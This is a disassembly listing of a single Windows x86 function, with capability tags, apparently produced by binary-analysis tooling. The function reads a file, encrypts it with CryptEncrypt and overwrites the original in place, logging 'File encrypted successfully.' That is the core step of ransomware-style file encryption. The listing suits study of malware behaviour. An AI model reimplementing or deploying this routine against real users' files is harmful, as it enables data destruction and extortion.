Function at 0x402534
Capabilities:
Clear file content
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402592
mov dword [esp], str.Failed_to_open_file_for_reading.
call sym._LogToFile
jmp 0x402806
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4025d0
mov dword [esp], str.Failed_to_get_file_size.
call sym._LogToFile
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402806
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402603
mov dword [esp], str.Memory_allocation_failed.
call sym._LogToFile
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402806
mov dword [ebp - 0x20], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x402663
mov dword [esp], str.Failed_to_read_file.
call sym._LogToFile
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
jmp 0x402806
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
add eax, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4026aa
mov dword [esp], str.Memory_allocation_failed.
call sym._LogToFile
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
jmp 0x402806
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x24]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._CryptEncrypt_28
sub esp, 0x1c
test eax, eax
jne 0x40272f
mov dword [esp], str.Failed_to_encrypt_file.
call sym._LogToFile
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
jmp 0x402806
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40278f
mov dword [esp], str.Failed_to_open_file_for_writing.
call sym._LogToFile
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
jmp 0x402806
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
test eax, eax
jne 0x4027d3
mov dword [esp], str.Failed_to_write_encrypted_data_to_file.
call sym._LogToFile
jmp 0x4027df
mov dword [esp], str.File_encrypted_successfully.
call sym._LogToFile
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SetEndOfFile_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
leave
ret